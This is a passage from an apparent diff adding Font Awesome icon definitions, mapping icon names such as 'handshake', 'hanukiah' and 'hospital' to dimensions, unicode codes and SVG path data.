7.7-34.2-6.4-44.8-14.1-10.6-34.2-7.7-44.8 6.4l-57.6 76.8C361 329.4 352 356.3 352 384v112c0 8.8 7.2 16 16 16h131.7c7.1 0 13.5-4.7 15.3-11.6 2-7.8 5.4-15.2 10.4-21.7l104.1-134.3c6.8-8.5 10.5-19.1 10.5-30V96c0-17.7-14.3-32-32-32z"], + "hands-helping": [640, 512, [], "f4c4", "M488 192H336v56c0 39.7-32.3 72-72 72s-72-32.3-72-72V126.4l-64.9 39C107.8 176.9 96 197.8 96 220.2v47.3l-80 46.2C.7 322.5-4.6 342.1 4.3 357.4l80 138.6c8.8 15.3 28.4 20.5 43.7 11.7L231.4 448H368c35.3 0 64-28.7 64-64h16c17.7 0 32-14.3 32-32v-64h8c13.3 0 24-10.7 24-24v-48c0-13.3-10.7-24-24-24zm147.7-37.4L555.7 16C546.9.7 527.3-4.5 512 4.3L408.6 64H306.4c-12 0-23.7 3.4-33.9 9.7L239 94.6c-9.4 5.8-15 16.1-15 27.1V248c0 22.1 17.9 40 40 40s40-17.9 40-40v-88h184c30.9 0 56 25.1 56 56v28.5l80-46.2c15.3-8.9 20.5-28.4 11.7-43.7z"], + "hands-wash": [576, 512, [], "e05e", "M496,224a48,48,0,1,0-48-48A48,48,0,0,0,496,224ZM311.47,178.45A56.77,56.77,0,0,1,328,176a56,56,0,0,1,19,3.49l15.35-48.61A24,24,0,0,0,342,99.74c-11.53-1.35-22.21,6.44-25.71,17.51l-20.9,66.17ZM93.65,386.33c.8-.19,1.54-.54,2.35-.71V359.93a156,156,0,0,1,107.06-148l73.7-22.76L310.92,81.05a24,24,0,0,0-20.33-31.11c-11.53-1.34-22.22,6.45-25.72,17.52L231.42,173.88a8,8,0,0,1-15.26-4.83L259.53,31.26A24,24,0,0,0,239.2.15C227.67-1.19,217,6.6,213.49,17.66L165.56,169.37a8,8,0,1,1-15.26-4.82l38.56-122a24,24,0,0,0-20.33-31.11C157,10,146.32,17.83,142.82,28.9l-60,189.85L80.76,168.7A24,24,0,0,0,56.9,144.55c-13.23-.05-24.72,10.54-24.9,23.86V281.14A123.69,123.69,0,0,0,93.65,386.33ZM519.1,336H360a8,8,0,0,1,0-16H488a24,24,0,0,0,23.54-28.76C509.35,279.84,498.71,272,487.1,272H288l47.09-17.06a24,24,0,0,0-14.18-45.88L213.19,242.31A123.88,123.88,0,0,0,128,360v25.65a79.78,79.78,0,0,1,58,108.63A118.9,118.9,0,0,0,248,512H456a24,24,0,0,0,23.54-28.76C477.35,471.84,466.71,464,455.1,464H360a8,8,0,0,1,0-16H488a24,24,0,0,0,23.54-28.76C509.35,407.84,498.71,400,487.1,400H360a8,8,0,0,1,0-16H520a24,24,0,0,0,23.54-28.76C541.35,343.84,530.71,336,519.1,336ZM416,64a32,32,0,1,0-32-32A32,32,0,0,0,416,64ZM112,416a48,48,0,1,0,48,48A48,48,0,0,0,112,416Z"], + "handshake": [640, 512, [], "f2b5", "M434.7 64h-85.9c-8 0-15.7 3-21.6 8.4l-98.3 90c-.1.1-.2.3-.3.4-16.6 15.6-16.3 40.5-2.1 56 12.7 13.9 39.4 17.6 56.1 2.7.1-.1.3-.1.4-.2l79.9-73.2c6.5-5.9 16.7-5.5 22.6 1 6 6.5 5.5 16.6-1 22.6l-26.1 23.9L504 313.8c2.9 2.4 5.5 5 7.9 7.7V128l-54.6-54.6c-5.9-6-14.1-9.4-22.6-9.4zM544 128.2v223.9c0 17.7 14.3 32 32 32h64V128.2h-96zm48 223.9c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zM0 384h64c17.7 0 32-14.3 32-32V128.2H0V384zm48-63.9c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16c0-8.9 7.2-16 16-16zm435.9 18.6L334.6 217.5l-30 27.5c-29.7 27.1-75.2 24.5-101.7-4.4-26.9-29.4-24.8-74.9 4.4-101.7L289.1 64h-83.8c-8.5 0-16.6 3.4-22.6 9.4L128 128v223.9h18.3l90.5 81.9c27.4 22.3 67.7 18.1 90-9.3l.2-.2 17.9 15.5c15.9 13 39.4 10.5 52.3-5.4l31.4-38.6 5.4 4.4c13.7 11.1 33.9 9.1 45-4.7l9.5-11.7c11.2-13.8 9.1-33.9-4.6-45.1z"], + "handshake-alt-slash": [640, 512, [], "e05f", "M358.59,195.6,504.2,313.8a63.4,63.4,0,0,1,22.21,37.91H624a16.05,16.05,0,0,0,16-16V143.91A16,16,0,0,0,624,128H512L457.41,73.41A32,32,0,0,0,434.8,64H348.91a32,32,0,0,0-21.61,8.41l-88.12,80.68-25.69-19.85L289.09,64H205.3a32,32,0,0,0-22.6,9.41l-20.34,20.3L45.47,3.38A16,16,0,0,0,23,6.19L3.38,31.46A16,16,0,0,0,6.19,53.91L594.54,508.63A16,16,0,0,0,617,505.82l19.64-25.27a16,16,0,0,0-2.81-22.45L303.4,202.72l32.69-29.92,27-24.7a16,16,0,0,1,21.61,23.61ZM16,128A16.05,16.05,0,0,0,0,144V335.91a16,16,0,0,0,16,16H146.3l90.5,81.89a64,64,0,0,0,90-9.3l.2-.2,17.91,15.5a37.16,37.16,0,0,0,52.29-5.39l8.8-10.82L23.56,128Z"], + "handshake-slash": [640, 512, [], "e060", "M0,128.21V384H64a32,32,0,0,0,32-32V184L23.83,128.21ZM48,320.1a16,16,0,1,1-16,16A16,16,0,0,1,48,320.1Zm80,31.81h18.3l90.5,81.89a64,64,0,0,0,90-9.3l.2-.2,17.91,15.5a37.16,37.16,0,0,0,52.29-5.39l8.8-10.82L128,208.72Zm416-223.7V352.1a32,32,0,0,0,32,32h64V128.21ZM592,352.1a16,16,0,1,1,16-16A16,16,0,0,1,592,352.1ZM303.33,202.67l59.58-54.57a16,16,0,0,1,21.59,23.61L358.41,195.6,504,313.8a73.08,73.08,0,0,1,7.91,7.7V128L457.3,73.41A31.76,31.76,0,0,0,434.7,64H348.8a31.93,31.93,0,0,0-21.6,8.41l-88.07,80.64-25.64-19.81L289.09,64H205.3a32,32,0,0,0-22.6,9.41L162.36,93.72,45.47,3.38A16,16,0,0,0,23,6.19L3.38,31.46A16,16,0,0,0,6.19,53.91L594.53,508.63A16,16,0,0,0,617,505.82l19.65-25.27a16,16,0,0,0-2.82-22.45Z"], + "hanukiah": [640, 512, [], "f6e6", "M232 160c-4.42 0-8 3.58-8 8v120h32V168c0-4.42-3.58-8-8-8h-16zm-64 0c-4.42 0-8 3.58-8 8v120h32V168c0-4.42-3.58-8-8-8h-16zm224 0c-4.42 0-8 3.58-8 8v120h32V168c0-4.42-3.58-8-8-8h-16zm64 0c-4.42 0-8 3.58-8 8v120h32V168c0-4.42-3.58-8-8-8h-16zm88 8c0-4.42-3.58-8-8-8h-16c-4.42 0-8 3.58-8 8v120h32V168zm-440-8c-4.42 0-8 3.58-8 8v120h32V168c0-4.42-3.58-8-8-8h-16zm520 0h-32c-8.84 0-16 7.16-16 16v112c0 17.67-14.33 32-32 32H352V128c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v192H96c-17.67 0-32-14.33-32-32V176c0-8.84-7.16-16-16-16H16c-8.84 0-16 7.16-16 16v112c0 53.02 42.98 96 96 96h192v64H112c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h416c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16H352v-64h192c53.02 0 96-42.98 96-96V176c0-8.84-7.16-16-16-16zm-16-32c13.25 0 24-11.94 24-26.67S608 48 608 48s-24 38.61-24 53.33S594.75 128 608 128zm-576 0c13.25 0 24-11.94 24-26.67S32 48 32 48 8 86.61 8 101.33 18.75 128 32 128zm288-48c13.25 0 24-11.94 24-26.67S320 0 320 0s-24 38.61-24 53.33S306.75 80 320 80zm-208 48c13.25 0 24-11.94 24-26.67S112 48 112 48s-24 38.61-24 53.33S98.75 128 112 128zm64 0c13.25 0 24-11.94 24-26.67S176 48 176 48s-24 38.61-24 53.33S162.75 128 176 128zm64 0c13.25 0 24-11.94 24-26.67S240 48 240 48s-24 38.61-24 53.33S226.75 128 240 128zm160 0c13.25 0 24-11.94 24-26.67S400 48 400 48s-24 38.61-24 53.33S386.75 128 400 128zm64 0c13.25 0 24-11.94 24-26.67S464 48 464 48s-24 38.61-24 53.33S450.75 128 464 128zm64 0c13.25 0 24-11.94 24-26.67S528 48 528 48s-24 38.61-24 53.33S514.75 128 528 128z"], + "hard-hat": [512, 512, [], "f807", "M480 288c0-80.25-49.28-148.92-119.19-177.62L320 192V80a16 16 0 0 0-16-16h-96a16 16 0 0 0-16 16v112l-40.81-81.62C81.28 139.08 32 207.75 32 288v64h448zm16 96H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h480a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z"], + "hashtag": [448, 512, [], "f292", "M440.667 182.109l7.143-40c1.313-7.355-4.342-14.109-11.813-14.109h-74.81l14.623-81.891C377.123 38.754 371.468 32 363.997 32h-40.632a12 12 0 0 0-11.813 9.891L296.175 128H197.54l14.623-81.891C213.477 38.754 207.822 32 200.35 32h-40.632a12 12 0 0 0-11.813 9.891L132.528 128H53.432a12 12 0 0 0-11.813 9.891l-7.143 40C33.163 185.246 38.818 192 46.289 192h74.81L98.242 320H19.146a12 12 0 0 0-11.813 9.891l-7.143 40C-1.123 377.246 4.532 384 12.003 384h74.81L72.19 465.891C70.877 473.246 76.532 480 84.003 480h40.632a12 12 0 0 0 11.813-9.891L151.826 384h98.634l-14.623 81.891C234.523 473.246 240.178 480 247.65 480h40.632a12 12 0 0 0 11.813-9.891L315.472 384h79.096a12 12 0 0 0 11.813-9.891l7.143-40c1.313-7.355-4.342-14.109-11.813-14.109h-74.81l22.857-128h79.096a12 12 0 0 0 11.813-9.891zM261.889 320h-98.634l22.857-128h98.634l-22.857 128z"], + "hat-cowboy": [640, 512, [], "f8c0", "M490 296.9C480.51 239.51 450.51 64 392.3 64c-14 0-26.49 5.93-37 14a58.21 58.21 0 0 1-70.58 0c-10.51-8-23-14-37-14-58.2 0-88.2 175.47-97.71 232.88C188.81 309.47 243.73 320 320 320s131.23-10.51 170-23.1zm142.9-37.18a16 16 0 0 0-19.75 1.5c-1 .9-101.27 90.78-293.16 90.78-190.82 0-292.22-89.94-293.24-90.84A16 16 0 0 0 1 278.53C1.73 280.55 78.32 480 320 480s318.27-199.45 319-201.47a16 16 0 0 0-6.09-18.81z"], + "hat-cowboy-side": [640, 512, [], "f8c1", "M260.8 291.06c-28.63-22.94-62-35.06-96.4-35.06C87 256 21.47 318.72 1.43 412.06c-3.55 16.6-.43 33.83 8.57 47.3C18.75 472.47 31.83 480 45.88 480H592c-103.21 0-155-37.07-233.19-104.46zm234.65-18.29L468.4 116.2A64 64 0 0 0 392 64.41L200.85 105a64 64 0 0 0-50.35 55.79L143.61 226c6.9-.83 13.7-2 20.79-2 41.79 0 82 14.55 117.29 42.82l98 84.48C450.76 412.54 494.9 448 592 448a48 48 0 0 0 48-48c0-25.39-29.6-119.33-144.55-127.23z"], + "hat-wizard": [512, 512, [], "f6e8", "M496 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h480c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm-304-64l-64-32 64-32 32-64 32 64 64 32-64 32-16 32h208l-86.41-201.63a63.955 63.955 0 0 1-1.89-45.45L416 0 228.42 107.19a127.989 127.989 0 0 0-53.46 59.15L64 416h144l-16-32zm64-224l16-32 16 32 32 16-32 16-16 32-16-32-32-16 32-16z"], + "hdd": [576, 512, [], "f0a0", "M576 304v96c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48v-96c0-26.51 21.49-48 48-48h480c26.51 0 48 21.49 48 48zm-48-80a79.557 79.557 0 0 1 30.777 6.165L462.25 85.374A48.003 48.003 0 0 0 422.311 64H153.689a48 48 0 0 0-39.938 21.374L17.223 230.165A79.557 79.557 0 0 1 48 224h480zm-48 96c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm-96 0c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32z"], + "head-side-cough": [640, 512, [], "e061", "M616,304a24,24,0,1,0-24-24A24,24,0,0,0,616,304ZM552,416a24,24,0,1,0,24,24A24,24,0,0,0,552,416Zm-64-56a24,24,0,1,0,24,24A24,24,0,0,0,488,360ZM616,464a24,24,0,1,0,24,24A24,24,0,0,0,616,464Zm0-104a24,24,0,1,0,24,24A24,24,0,0,0,616,360Zm-64-40a24,24,0,1,0,24,24A24,24,0,0,0,552,320Zm-74.78-45c-21-47.12-48.5-151.75-73.12-186.75A208.13,208.13,0,0,0,234.1,0H192C86,0,0,86,0,192c0,56.75,24.75,107.62,64,142.88V512H288V480h64a64,64,0,0,0,64-64H320a32,32,0,0,1,0-64h96V320h32A32,32,0,0,0,477.22,275ZM288,224a32,32,0,1,1,32-32A32.07,32.07,0,0,1,288,224Z"], + "head-side-cough-slash": [640, 512, [], "e062", "M454.11,319.21c19.56-3.81,31.62-25,23.11-44.21-21-47.12-48.5-151.75-73.12-186.75A208.13,208.13,0,0,0,234.1,0H192A190.64,190.64,0,0,0,84.18,33.3L45.46,3.38A16,16,0,0,0,23,6.19L3.37,31.46A16,16,0,0,0,6.18,53.91L594.53,508.63A16,16,0,0,0,617,505.82l19.64-25.27a16,16,0,0,0-2.81-22.45ZM313.39,210.45,263.61,172c5.88-7.14,14.43-12,24.36-12a32.06,32.06,0,0,1,32,32C320,199,317.24,205.17,313.39,210.45ZM616,304a24,24,0,1,0-24-24A24,24,0,0,0,616,304Zm-64,64a24,24,0,1,0-24-24A24,24,0,0,0,552,368ZM288,384a32,32,0,0,1,32-32h19.54L20.73,105.59A190.86,190.86,0,0,0,0,192c0,56.75,24.75,107.62,64,142.88V512H288V480h64a64,64,0,0,0,64-64H320A32,32,0,0,1,288,384Zm328-24a24,24,0,1,0,24,24A24,24,0,0,0,616,360Z"], + "head-side-mask": [512, 512, [], "e063", "M.15,184.42C-2.17,244.21,23,298.06,64,334.88V512H224V316.51L3.67,156.25A182.28,182.28,0,0,0,.15,184.42ZM509.22,275c-21-47.12-48.5-151.75-73.12-186.75A208.11,208.11,0,0,0,266.11,0H200C117,0,42.48,50.57,13.25,123.65L239.21,288H511.76A31.35,31.35,0,0,0,509.22,275ZM320,224a32,32,0,1,1,32-32A32.07,32.07,0,0,1,320,224Zm16,144H496l16-48H256V512H401.88a64,64,0,0,0,60.71-43.76L464,464H336a16,16,0,0,1,0-32H474.67l10.67-32H336a16,16,0,0,1,0-32Z"], + "head-side-virus": [512, 512, [], "e064", "M272,240a16,16,0,1,0,16,16A16,16,0,0,0,272,240Zm-64-64a16,16,0,1,0,16,16A16,16,0,0,0,208,176Zm301.2,99c-20.93-47.12-48.43-151.73-73.07-186.75A207.9,207.9,0,0,0,266.09,0H192C86,0,0,86,0,192A191.23,191.23,0,0,0,64,334.81V512H320V448h64a64,64,0,0,0,64-64V320H480A32,32,0,0,0,509.2,275ZM368,240H355.88c-28.51,0-42.79,34.47-22.63,54.63l8.58,8.57a16,16,0,1,1-22.63,22.63l-8.57-8.58C290.47,297.09,256,311.37,256,339.88V352a16,16,0,0,1-32,0V339.88c0-28.51-34.47-42.79-54.63-22.63l-8.57,8.58a16,16,0,0,1-22.63-22.63l8.58-8.57c20.16-20.16,5.88-54.63-22.63-54.63H112a16,16,0,0,1,0-32h12.12c28.51,0,42.79-34.47,22.63-54.63l-8.58-8.57a16,16,0,0,1,22.63-22.63l8.57,8.58c20.16,20.16,54.63,5.88,54.63-22.63V96a16,16,0,0,1,32,0v12.12c0,28.51,34.47,42.79,54.63,22.63l8.57-8.58a16,16,0,0,1,22.63,22.63l-8.58,8.57C313.09,173.53,327.37,208,355.88,208H368a16,16,0,0,1,0,32Z"], + "heading": [512, 512, [], "f1dc", "M448 96v320h32a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16H320a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32V288H160v128h32a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16H32a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32V96H32a16 16 0 0 1-16-16V48a16 16 0 0 1 16-16h160a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16h-32v128h192V96h-32a16 16 0 0 1-16-16V48a16 16 0 0 1 16-16h160a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16z"], + "headphones": [512, 512, [], "f025", "M256 32C114.52 32 0 146.496 0 288v48a32 32 0 0 0 17.689 28.622l14.383 7.191C34.083 431.903 83.421 480 144 480h24c13.255 0 24-10.745 24-24V280c0-13.255-10.745-24-24-24h-24c-31.342 0-59.671 12.879-80 33.627V288c0-105.869 86.131-192 192-192s192 86.131 192 192v1.627C427.671 268.879 399.342 256 368 256h-24c-13.255 0-24 10.745-24 24v176c0 13.255 10.745 24 24 24h24c60.579 0 109.917-48.098 111.928-108.187l14.382-7.191A32 32 0 0 0 512 336v-48c0-141.479-114.496-256-256-256z"], + "headphones-alt": [512, 512, [], "f58f", "M160 288h-16c-35.35 0-64 28.7-64 64.12v63.76c0 35.41 28.65 64.12 64 64.12h16c17.67 0 32-14.36 32-32.06V320.06c0-17.71-14.33-32.06-32-32.06zm208 0h-16c-17.67 0-32 14.35-32 32.06v127.88c0 17.7 14.33 32.06 32 32.06h16c35.35 0 64-28.71 64-64.12v-63.76c0-35.41-28.65-64.12-64-64.12zM256 32C112.91 32 4.57 151.13 0 288v112c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16V288c0-114.67 93.33-207.8 208-207.82 114.67.02 208 93.15 208 207.82v112c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16V288C507.43 151.13 399.09 32 256 32z"], + "headset": [512, 512, [], "f590", "M192 208c0-17.67-14.33-32-32-32h-16c-35.35 0-64 28.65-64 64v48c0 35.35 28.65 64 64 64h16c17.67 0 32-14.33 32-32V208zm176 144c35.35 0 64-28.65 64-64v-48c0-35.35-28.65-64-64-64h-16c-17.67 0-32 14.33-32 32v112c0 17.67 14.33 32 32 32h16zM256 0C113.18 0 4.58 118.83 0 256v16c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-16c0-114.69 93.31-208 208-208s208 93.31 208 208h-.12c.08 2.43.12 165.72.12 165.72 0 23.35-18.93 42.28-42.28 42.28H320c0-26.51-21.49-48-48-48h-32c-26.51 0-48 21.49-48 48s21.49 48 48 48h181.72c49.86 0 90.28-40.42 90.28-90.28V256C507.42 118.83 398.82 0 256 0z"], + "heart": [512, 512, [], "f004", "M462.3 62.6C407.5 15.9 326 24.3 275.7 76.2L256 96.5l-19.7-20.3C186.1 24.3 104.5 15.9 49.7 62.6c-62.8 53.6-66.1 149.8-9.9 207.9l193.5 199.8c12.5 12.9 32.8 12.9 45.3 0l193.5-199.8c56.3-58.1 53-154.3-9.8-207.9z"], + "heart-broken": [512, 512, [], "f7a9", "M473.7 73.8l-2.4-2.5c-46-47-118-51.7-169.6-14.8L336 159.9l-96 64 48 128-144-144 96-64-28.6-86.5C159.7 19.6 87 24 40.7 71.4l-2.4 2.4C-10.4 123.6-12.5 202.9 31 256l212.1 218.6c7.1 7.3 18.6 7.3 25.7 0L481 255.9c43.5-53 41.4-132.3-7.3-182.1z"], + "heartbeat": [512, 512, [], "f21e", "M320.2 243.8l-49.7 99.4c-6 12.1-23.4 11.7-28.9-.6l-56.9-126.3-30 71.7H60.6l182.5 186.5c7.1 7.3 18.6 7.3 25.7 0L451.4 288H342.3l-22.1-44.2zM473.7 73.9l-2.4-2.5c-51.5-52.6-135.8-52.6-187.4 0L256 100l-27.9-28.5c-51.5-52.7-135.9-52.7-187.4 0l-2.4 2.4C-10.4 123.7-12.5 203 31 256h102.4l35.9-86.2c5.4-12.9 23.6-13.2 29.4-.4l58.2 129.3 49-97.9c5.9-11.8 22.7-11.8 28.6 0l27.6 55.2H481c43.5-53 41.4-132.3-7.3-182.1z"], + "helicopter": [640, 512, [], "f533", "M304 384h272c17.67 0 32-14.33 32-32 0-123.71-100.29-224-224-224V64h176c8.84 0 16-7.16 16-16V16c0-8.84-7.16-16-16-16H144c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h176v64H112L68.8 70.4C65.78 66.37 61.03 64 56 64H16.01C5.6 64-2.04 73.78.49 83.88L32 192l160 64 86.4 115.2A31.992 31.992 0 0 0 304 384zm112-188.49C478.55 208.3 528.03 257.44 540.79 320H416V195.51zm219.37 263.3l-22.15-22.2c-6.25-6.26-16.24-6.1-22.64.01-7.09 6.77-13.84 11.25-24.64 11.25H240c-8.84 0-16 7.18-16 16.03v32.06c0 8.85 7.16 16.03 16 16.03h325.94c14.88 0 35.3-.47 68.45-29.52 7.02-6.14 7.57-17.05.98-23.66z"], + "highlighter": [544, 512, [], "f591", "M0 479.98L99.92 512l35.45-35.45-67.04-67.04L0 479.98zm124.61-240.01a36.592 36.592 0 0 0-10.79 38.1l13.05 42.83-50.93 50.94 96.23 96.23 50.86-50.86 42.74 13.08c13.73 4.2 28.65-.01 38.15-10.78l35.55-41.64-173.34-173.34-41.52 35.44zm403.31-160.7l-63.2-63.2c-20.49-20.49-53.38-21.52-75.12-2.35L190.55 183.68l169.77 169.78L530.27 154.4c19.18-21.74 18.15-54.63-2.35-75.13z"], + "hiking": [384, 512, [], "f6ec", "M80.95 472.23c-4.28 17.16 6.14 34.53 23.28 38.81 2.61.66 5.22.95 7.8.95 14.33 0 27.37-9.7 31.02-24.23l25.24-100.97-52.78-52.78-34.56 138.22zm14.89-196.12L137 117c2.19-8.42-3.14-16.95-11.92-19.06-43.88-10.52-88.35 15.07-99.32 57.17L.49 253.24c-2.19 8.42 3.14 16.95 11.92 19.06l63.56 15.25c8.79 2.1 17.68-3.02 19.87-11.44zM368 160h-16c-8.84 0-16 7.16-16 16v16h-34.75l-46.78-46.78C243.38 134.11 228.61 128 212.91 128c-27.02 0-50.47 18.3-57.03 44.52l-26.92 107.72a32.012 32.012 0 0 0 8.42 30.39L224 397.25V480c0 17.67 14.33 32 32 32s32-14.33 32-32v-82.75c0-17.09-6.66-33.16-18.75-45.25l-46.82-46.82c.15-.5.49-.89.62-1.41l19.89-79.57 22.43 22.43c6 6 14.14 9.38 22.62 9.38h48v240c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16V176c.01-8.84-7.15-16-15.99-16zM240 96c26.51 0 48-21.49 48-48S266.51 0 240 0s-48 21.49-48 48 21.49 48 48 48z"], + "hippo": [640, 512, [], "f6ed", "M581.12 96.2c-27.67-.15-52.5 17.58-76.6 26.62C489.98 88.27 455.83 64 416 64c-11.28 0-21.95 2.3-32 5.88V56c0-13.26-10.75-24-24-24h-16c-13.25 0-24 10.74-24 24v48.98C286.01 79.58 241.24 64 192 64 85.96 64 0 135.64 0 224v240c0 8.84 7.16 16 16 16h64c8.84 0 16-7.16 16-16v-70.79C128.35 407.57 166.72 416 208 416s79.65-8.43 112-22.79V464c0 8.84 7.16 16 16 16h64c8.84 0 16-7.16 16-16V288h128v32c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-32c17.67 0 32-14.33 32-32v-92.02c0-34.09-24.79-67.59-58.88-67.78zM448 176c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16z"], + "history": [512, 512, [], "f1da", "M504 255.531c.253 136.64-111.18 248.372-247.82 248.468-59.015.042-113.223-20.53-155.822-54.911-11.077-8.94-11.905-25.541-1.839-35.607l11.267-11.267c8.609-8.609 22.353-9.551 31.891-1.984C173.062 425.135 212.781 440 256 440c101.705 0 184-82.311 184-184 0-101.705-82.311-184-184-184-48.814 0-93.149 18.969-126.068 49.932l50.754 50.754c10.08 10.08 2.941 27.314-11.313 27.314H24c-8.837 0-16-7.163-16-16V38.627c0-14.254 17.234-21.393 27.314-11.314l49.372 49.372C129.209 34.136 189.552 8 256 8c136.81 0 247.747 110.78 248 247.531zm-180.912 78.784l9.823-12.63c8.138-10.463 6.253-25.542-4.21-33.679L288 256.349V152c0-13.255-10.745-24-24-24h-16c-13.255 0-24 10.745-24 24v135.651l65.409 50.874c10.463 8.137 25.541 6.253 33.679-4.21z"], + "hockey-puck": [512, 512, [], "f453", "M0 160c0-53 114.6-96 256-96s256 43 256 96-114.6 96-256 96S0 213 0 160zm0 82.2V352c0 53 114.6 96 256 96s256-43 256-96V242.2c-113.4 82.3-398.5 82.4-512 0z"], + "holly-berry": [448, 512, [], "f7aa", "M144 192c26.5 0 48-21.5 48-48s-21.5-48-48-48-48 21.5-48 48 21.5 48 48 48zm112-48c0 26.5 21.5 48 48 48s48-21.5 48-48-21.5-48-48-48-48 21.5-48 48zm-32-48c26.5 0 48-21.5 48-48S250.5 0 224 0s-48 21.5-48 48 21.5 48 48 48zm-16.2 139.1c.1-12.4-13.1-20.1-23.8-13.7-34.3 20.3-71.4 32.7-108.7 36.2-9.7.9-15.6 11.3-11.6 20.2 6.2 13.9 11.1 28.6 14.7 43.8 3.6 15.2-5.3 30.6-20.2 35.1-14.9 4.5-30.1 7.6-45.3 9.1-9.7 1-15.7 11.3-11.7 20.2 15 32.8 22.9 69.5 23 107.7.1 14.4 15.2 23.1 27.6 16 33.2-19 68.9-30.5 104.8-33.9 9.7-.9 15.6-11.3 11.6-20.2-6.2-13.9-11.1-28.6-14.7-43.8-3.6-15.2 5.3-30.6 20.2-35.1 14.9-4.5 30.1-7.6 45.3-9.1 9.7-1 15.7-11.3 11.7-20.2-15.5-34.2-23.3-72.5-22.9-112.3zM435 365.6c-15.2-1.6-30.3-4.7-45.3-9.1-14.9-4.5-23.8-19.9-20.2-35.1 3.6-15.2 8.5-29.8 14.7-43.8 4-8.9-1.9-19.3-11.6-20.2-37.3-3.5-74.4-15.9-108.7-36.2-10.7-6.3-23.9 1.4-23.8 13.7 0 1.6-.2 3.2-.2 4.9.2 33.3 7 65.7 19.9 94 5.7 12.4 5.2 26.6-.6 38.9 4.9 1.2 9.9 2.2 14.8 3.7 14.9 4.5 23.8 19.9 20.2 35.1-3.6 15.2-8.5 29.8-14.7 43.8-4 8.9 1.9 19.3 11.6 20.2 35.9 3.4 71.6 14.9 104.8 33.9 12.5 7.1 27.6-1.6 27.6-16 .2-38.2 8-75 23-107.7 4.3-8.7-1.8-19.1-11.5-20.1z"], + "home": [576, 512, [], "f015", "M280.37 148.26L96 300.11V464a16 16 0 0 0 16 16l112.06-.29a16 16 0 0 0 15.92-16V368a16 16 0 0 1 16-16h64a16 16 0 0 1 16 16v95.64a16 16 0 0 0 16 16.05L464 480a16 16 0 0 0 16-16V300L295.67 148.26a12.19 12.19 0 0 0-15.3 0zM571.6 251.47L488 182.56V44.05a12 12 0 0 0-12-12h-56a12 12 0 0 0-12 12v72.61L318.47 43a48 48 0 0 0-61 0L4.34 251.47a12 12 0 0 0-1.6 16.9l25.5 31A12 12 0 0 0 45.15 301l235.22-193.74a12.19 12.19 0 0 1 15.3 0L530.9 301a12 12 0 0 0 16.9-1.6l25.5-31a12 12 0 0 0-1.7-16.93z"], + "horse": [576, 512, [], "f6f0", "M575.92 76.6c-.01-8.13-3.02-15.87-8.58-21.8-3.78-4.03-8.58-9.12-13.69-14.5 11.06-6.84 19.5-17.49 22.18-30.66C576.85 4.68 572.96 0 567.9 0H447.92c-70.69 0-128 57.31-128 128H160c-28.84 0-54.4 12.98-72 33.11V160c-48.53 0-88 39.47-88 88v56c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-56c0-13.22 6.87-24.39 16.78-31.68-.21 2.58-.78 5.05-.78 7.68 0 27.64 11.84 52.36 30.54 69.88l-25.72 68.6a63.945 63.945 0 0 0-2.16 37.99l24.85 99.41A15.982 15.982 0 0 0 107.02 512h65.96c10.41 0 18.05-9.78 15.52-19.88l-26.31-105.26 23.84-63.59L320 345.6V496c0 8.84 7.16 16 16 16h64c8.84 0 16-7.16 16-16V318.22c19.74-20.19 32-47.75 32-78.22 0-.22-.07-.42-.08-.64V136.89l16 7.11 18.9 37.7c7.45 14.87 25.05 21.55 40.49 15.37l32.55-13.02a31.997 31.997 0 0 0 20.12-29.74l-.06-77.71zm-64 19.4c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16z"], + "horse-head": [512, 512, [], "f7ab", "M509.8 332.5l-69.9-164.3c-14.9-41.2-50.4-71-93-79.2 18-10.6 46.3-35.9 34.2-82.3-1.3-5-7.1-7.9-12-6.1L166.9 76.3C35.9 123.4 0 238.9 0 398.8V480c0 17.7 14.3 32 32 32h236.2c23.8 0 39.3-25 28.6-46.3L256 384v-.7c-45.6-3.5-84.6-30.7-104.3-69.6-1.6-3.1-.9-6.9 1.6-9.3l12.1-12.1c3.9-3.9 10.6-2.7 12.9 2.4 14.8 33.7 48.2 57.4 87.4 57.4 17.2 0 33-5.1 46.8-13.2l46 63.9c6 8.4 15.7 13.3 26 13.3h50.3c8.5 0 16.6-3.4 22.6-9.4l45.3-39.8c8.9-9.1 11.7-22.6 7.1-34.4zM328 224c-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24-10.7 24-24 24z"], + "hospital": [448, 512, [], "f0f8", "M448 492v20H0v-20c0-6.627 5.373-12 12-12h20V120c0-13.255 10.745-24 24-24h88V24c0-13.255 10.745-24 24-24h112c13.255 0 24 10.745 24 24v72h88c13.255 0 24 10.745 24 24v360h20c6.627 0 12 5.373 12 12zM308 192h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12zm-168 64h40c6.627 0 12-5.373 